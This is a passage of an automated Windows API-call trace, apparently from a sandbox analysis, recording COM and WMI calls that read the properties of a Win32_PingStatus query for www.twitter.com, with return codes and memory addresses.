[4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5bddd54 | out: ppvObject=0x5bddd54*=0x0) returned 0x80004002 [0161.672] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3d80, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bddd60 | out: ppvObject=0x5bddd60*=0x0) returned 0x80004002 [0161.672] CoGetContextToken (in: pToken=0x5bdddc0 | out: pToken=0x5bdddc0) returned 0x0 [0161.672] CoGetContextToken (in: pToken=0x5bddd68 | out: pToken=0x5bddd68) returned 0x0 [0161.672] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x1, cHandles=0x1, pHandles=0x5bddd50*=0x378, lpdwindex=0x5bddc08 | out: lpdwindex=0x5bddc08) returned 0x80010115 [0161.673] CoGetContextToken (in: pToken=0x5bdd20c | out: pToken=0x5bdd20c) returned 0x0 [0161.673] CoGetContextToken (in: pToken=0x5bdd1ec | out: pToken=0x5bdd1ec) returned 0x0 [0161.673] CoGetContextToken (in: pToken=0x5bdd170 | out: pToken=0x5bdd170) returned 0x0 [0161.673] WbemStatusCodeText:IUnknown:Release (This=0x5f6aed0) returned 0x1 [0161.673] WbemStatusCodeText:IUnknown:Release (This=0x5f6aed0) returned 0x0 [0161.673] CoGetContextToken (in: pToken=0x5bdd170 | out: pToken=0x5bdd170) returned 0x0 [0161.673] WbemStatusCodeText:IUnknown:Release (This=0x5f6af10) returned 0x1 [0161.673] WbemStatusCodeText:IUnknown:Release (This=0x5f6af10) returned 0x0 [0161.673] CoGetContextToken (in: pToken=0x5bdd170 | out: pToken=0x5bdd170) returned 0x0 [0161.673] WbemStatusCodeText:IUnknown:Release (This=0x5f6af00) returned 0x1 [0161.673] WbemStatusCodeText:IUnknown:Release (This=0x5f6af00) returned 0x0 [0161.673] CoGetContextToken (in: pToken=0x5bdd170 | out: pToken=0x5bdd170) returned 0x0 [0161.673] WbemStatusCodeText:IUnknown:Release (This=0x5f6afd0) returned 0x1 [0161.673] WbemStatusCodeText:IUnknown:Release (This=0x5f6afd0) returned 0x0 [0161.673] CoGetContextToken (in: pToken=0x5bdd170 | out: pToken=0x5bdd170) returned 0x0 [0161.673] IUnknown:Release (This=0x5f6b230) returned 0x2 [0161.673] IUnknown:Release (This=0x5f6b230) returned 0x1 [0161.673] CoGetContextToken (in: pToken=0x5bdd170 | out: pToken=0x5bdd170) returned 0x0 [0161.673] IUnknown:Release (This=0x5fc3b10) returned 0x2 [0161.673] IUnknown:Release (This=0x5fc3b10) returned 0x1 [0161.673] CoGetContextToken (in: pToken=0x5bdd170 | out: pToken=0x5bdd170) returned 0x0 [0161.673] WbemStatusCodeText:IUnknown:Release (This=0x5f85270) returned 0x1 [0161.673] WbemStatusCodeText:IUnknown:Release (This=0x5f85270) returned 0x0 [0161.673] CoGetContextToken (in: pToken=0x5bdd170 | out: pToken=0x5bdd170) returned 0x0 [0161.673] WbemStatusCodeText:IUnknown:Release (This=0x5f85260) returned 0x1 [0161.673] WbemStatusCodeText:IUnknown:Release (This=0x5f85260) returned 0x0 [0161.673] CoGetContextToken (in: pToken=0x5bdd170 | out: pToken=0x5bdd170) returned 0x0 [0161.673] WbemStatusCodeText:IUnknown:Release (This=0x5f85250) returned 0x1 [0161.674] WbemStatusCodeText:IUnknown:Release (This=0x5f85250) returned 0x0 [0161.674] CoGetContextToken (in: pToken=0x5bdd170 | out: pToken=0x5bdd170) returned 0x0 [0161.674] WbemStatusCodeText:IUnknown:Release (This=0x5f85240) returned 0x1 [0161.674] WbemStatusCodeText:IUnknown:Release (This=0x5f85240) returned 0x0 [0161.674] CoGetContextToken (in: pToken=0x5bdd170 | out: pToken=0x5bdd170) returned 0x0 [0161.674] WbemStatusCodeText:IUnknown:Release (This=0x5f85230) returned 0x1 [0161.674] WbemStatusCodeText:IUnknown:Release (This=0x5f85230) returned 0x0 [0161.674] CoGetContextToken (in: pToken=0x5bdd170 | out: pToken=0x5bdd170) returned 0x0 [0161.674] WbemStatusCodeText:IUnknown:Release (This=0x5f6af20) returned 0x1 [0161.674] WbemStatusCodeText:IUnknown:Release (This=0x5f6af20) returned 0x0 [0161.674] CoGetContextToken (in: pToken=0x5bdd170 | out: pToken=0x5bdd170) returned 0x0 [0161.674] IUnknown:Release (This=0x5f9a528) returned 0x2 [0161.674] IUnknown:Release (This=0x5f9a528) returned 0x1 [0161.674] CoGetContextToken (in: pToken=0x5bdd170 | out: pToken=0x5bdd170) returned 0x0 [0161.674] IUnknown:Release (This=0x5f765d8) returned 0x2 [0161.674] IUnknown:Release (This=0x5f765d8) returned 0x1 [0161.675] CoGetContextToken (in: pToken=0x5bdd20c | out: pToken=0x5bdd20c) returned 0x0 [0161.675] CoGetContextToken (in: pToken=0x5bdd1c8 | out: pToken=0x5bdd1c8) returned 0x0 [0161.675] IUnknown:Release (This=0x5954d8) returned 0x1 [0161.675] IUnknown:Release (This=0x5954d8) returned 0x0 [0161.685] CoGetContextToken (in: pToken=0x5bdd20c | out: pToken=0x5bdd20c) returned 0x0 [0161.685] CoGetContextToken (in: pToken=0x5bdd1c8 | out: pToken=0x5bdd1c8) returned 0x0 [0161.686] IUnknown:Release (This=0x595a50) returned 0x1 [0161.686] IUnknown:Release (This=0x595a50) returned 0x0 [0161.691] CoGetContextToken (in: pToken=0x5bde1d4 | out: pToken=0x5bde1d4) returned 0x0 [0161.691] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3d80, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde254 | out: ppvObject=0x5bde254*=0x0) returned 0x80004002 [0161.691] WbemStatusCodeText:IUnknown:Release (This=0x5fc3d80) returned 0x2 [0161.691] WbemStatusCodeText:IUnknown:Release (This=0x5fc3d80) returned 0x1 [0161.691] CoGetContextToken (in: pToken=0x5bde854 | out: pToken=0x5bde854) returned 0x0 [0161.691] CoGetContextToken (in: pToken=0x5bde7b4 | out: pToken=0x5bde7b4) returned 0x0 [0161.691] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3d80, riid=0x5bde884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x5bde880 | out: ppvObject=0x5bde880*=0x5fc3d80) returned 0x0 [0161.691] WbemStatusCodeText:IUnknown:AddRef (This=0x5fc3d80) returned 0x3 [0161.691] WbemStatusCodeText:IUnknown:Release (This=0x5fc3d80) returned 0x2 [0161.692] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5fc3d80, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x5bde9e4 | out: MessageText=0x5bde9e4*="Not found ") returned 0x0 [0161.692] SysStringByteLen (bstr="Not found ") returned 0x14 [0161.693] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0161.693] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0161.693] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.693] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0161.693] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0161.693] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.693] IWbemClassObject:GetNames (in: This=0x5f765d8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde9d0 | out: pNames=0x5bde9d0*="\x01ƀ\x04") returned 0x0 [0161.693] SafeArrayGetDim (psa=0x5f6dc38) returned 0x1 [0161.693] SafeArrayGetDim (psa=0x5f6dc38) returned 0x1 [0161.693] SafeArrayGetLBound (in: psa=0x5f6dc38, nDim=0x1, plLbound=0x5bde868 | out: plLbound=0x5bde868) returned 0x0 [0161.693] SysStringByteLen (bstr="__GENUS") returned 0xe [0161.693] SysStringByteLen (bstr="__GENUS") returned 0xe [0161.694] SysStringByteLen (bstr="__CLASS") returned 0xe [0161.694] SysStringByteLen (bstr="__CLASS") returned 0xe [0161.694] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0161.694] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0161.694] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0161.694] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0161.694] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0161.694] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0161.694] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0161.694] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0161.694] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0161.694] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0161.694] SysStringByteLen (bstr="__SERVER") returned 0x10 [0161.694] SysStringByteLen (bstr="__SERVER") returned 0x10 [0161.694] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0161.694] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0161.694] SysStringByteLen (bstr="__PATH") returned 0xc [0161.694] SysStringByteLen (bstr="__PATH") returned 0xc [0161.694] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__GENUS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2277dd0*=0, plFlavor=0x2277dd4*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2277dd0*=3, plFlavor=0x2277dd4*=64) returned 0x0 [0161.695] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__CLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2277e04*=0, plFlavor=0x2277e08*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2277e04*=8, plFlavor=0x2277e08*=64) returned 0x0 [0161.695] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.695] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.695] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2277e5c*=0, plFlavor=0x2277e60*=0 | out: pVal=0x5bde9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2277e5c*=8, plFlavor=0x2277e60*=64) returned 0x0 [0161.695] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__DYNASTY", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2277e84*=0, plFlavor=0x2277e88*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2277e84*=8, plFlavor=0x2277e88*=64) returned 0x0 [0161.695] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.695] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.695] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__RELPATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2277edc*=0, plFlavor=0x2277ee0*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2277edc*=8, plFlavor=0x2277ee0*=64) returned 0x0 [0161.695] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0161.695] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0161.696] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22780b8*=0, plFlavor=0x22780bc*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22780b8*=3, plFlavor=0x22780bc*=64) returned 0x0 [0161.696] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22780ec*=0, plFlavor=0x22780f0*=0 | out: pVal=0x5bde9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dde8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6af20, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22780ec*=8200, plFlavor=0x22780f0*=64) returned 0x0 [0161.696] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SERVER", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2278120*=0, plFlavor=0x2278124*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2278120*=8, plFlavor=0x2278124*=64) returned 0x0 [0161.696] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.696] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.696] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227816c*=0, plFlavor=0x2278170*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x227816c*=8, plFlavor=0x2278170*=64) returned 0x0 [0161.696] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.696] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.697] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__PATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22781b8*=0, plFlavor=0x22781bc*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22781b8*=8, plFlavor=0x22781bc*=64) returned 0x0 [0161.697] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0161.697] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0161.697] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdea10 | out: puCount=0x5bdea10*=0x2) returned 0x0 [0161.697] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0x0, pszText=0x0 | out: puBuffLength=0x5bdea0c*=0xf, pszText=0x0) returned 0x0 [0161.697] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.697] IWbemClassObject:Get (in: This=0x5f765d8, wszName="WriteWarningStream", lFlags=0, pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22783f0*=0, plFlavor=0x22783f4*=0 | out: pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22783f0*=0, plFlavor=0x22783f4*=0) returned 0x80041002 [0161.697] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x5bde9f0 | out: pperrinfo=0x5bde9f0*=0x0) returned 0x1 [0161.698] CoGetClassObject (in: rclsid=0x5f6dc04*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5bde650 | out: ppv=0x5bde650*=0x5f6af20) returned 0x0 [0161.700] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af20, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5bde868 | out: ppvObject=0x5bde868*=0x0) returned 0x80004002 [0161.700] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5f6af20, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde874 | out: ppvObject=0x5bde874*=0x5f6af50) returned 0x0 [0161.700] WbemStatusCodeText:IUnknown:Release (This=0x5f6af20) returned 0x0 [0161.700] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af50, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde494 | out: ppvObject=0x5bde494*=0x5f6af50) returned 0x0 [0161.701] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af50, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5bde448 | out: ppvObject=0x5bde448*=0x0) returned 0x80004002 [0161.701] WbemStatusCodeText:IUnknown:AddRef (This=0x5f6af50) returned 0x3 [0161.701] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af50, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5bddda4 | out: ppvObject=0x5bddda4*=0x0) returned 0x80004002 [0161.701] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af50, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5bddd54 | out: ppvObject=0x5bddd54*=0x0) returned 0x80004002 [0161.701] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af50, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bddd60 | out: ppvObject=0x5bddd60*=0x0) returned 0x80004002 [0161.701] CoGetContextToken (in: pToken=0x5bdddc0 | out: pToken=0x5bdddc0) returned 0x0 [0161.701] CoGetContextToken (in: pToken=0x5bde1d4 | out: pToken=0x5bde1d4) returned 0x0 [0161.701] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af50, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde254 | out: ppvObject=0x5bde254*=0x0) returned 0x80004002 [0161.701] WbemStatusCodeText:IUnknown:Release (This=0x5f6af50) returned 0x2 [0161.701] WbemStatusCodeText:IUnknown:Release (This=0x5f6af50) returned 0x1 [0161.701] CoGetContextToken (in: pToken=0x5bde854 | out: pToken=0x5bde854) returned 0x0 [0161.701] CoGetContextToken (in: pToken=0x5bde7b4 | out: pToken=0x5bde7b4) returned 0x0 [0161.701] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af50, riid=0x5bde884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x5bde880 | out: ppvObject=0x5bde880*=0x5f6af50) returned 0x0 [0161.701] WbemStatusCodeText:IUnknown:AddRef (This=0x5f6af50) returned 0x3 [0161.701] WbemStatusCodeText:IUnknown:Release (This=0x5f6af50) returned 0x2 [0161.701] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5f6af50, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x5bde9e4 | out: MessageText=0x5bde9e4*="Not found ") returned 0x0 [0161.702] SysStringByteLen (bstr="Not found ") returned 0x14 [0161.703] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0161.703] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0161.703] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.703] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0161.703] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0161.703] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.703] IWbemClassObject:GetNames (in: This=0x5f765d8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde9d0 | out: pNames=0x5bde9d0*="\x01ƀ\x04") returned 0x0 [0161.703] SafeArrayGetDim (psa=0x5f6dc68) returned 0x1 [0161.703] SafeArrayGetDim (psa=0x5f6dc68) returned 0x1 [0161.703] SafeArrayGetLBound (in: psa=0x5f6dc68, nDim=0x1, plLbound=0x5bde868 | out: plLbound=0x5bde868) returned 0x0 [0161.703] SysStringByteLen (bstr="__GENUS") returned 0xe [0161.703] SysStringByteLen (bstr="__GENUS") returned 0xe [0161.704] SysStringByteLen (bstr="__CLASS") returned 0xe [0161.704] SysStringByteLen (bstr="__CLASS") returned 0xe [0161.704] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0161.704] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0161.704] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0161.704] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0161.704] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0161.704] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0161.704] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0161.704] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0161.704] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0161.704] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0161.704] SysStringByteLen (bstr="__SERVER") returned 0x10 [0161.704] SysStringByteLen (bstr="__SERVER") returned 0x10 [0161.704] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0161.704] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0161.704] SysStringByteLen (bstr="__PATH") returned 0xc [0161.704] SysStringByteLen (bstr="__PATH") returned 0xc [0161.704] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__GENUS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22787d0*=0, plFlavor=0x22787d4*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22787d0*=3, plFlavor=0x22787d4*=64) returned 0x0 [0161.705] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__CLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2278804*=0, plFlavor=0x2278808*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2278804*=8, plFlavor=0x2278808*=64) returned 0x0 [0161.705] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.705] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.705] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227885c*=0, plFlavor=0x2278860*=0 | out: pVal=0x5bde9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227885c*=8, plFlavor=0x2278860*=64) returned 0x0 [0161.705] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__DYNASTY", 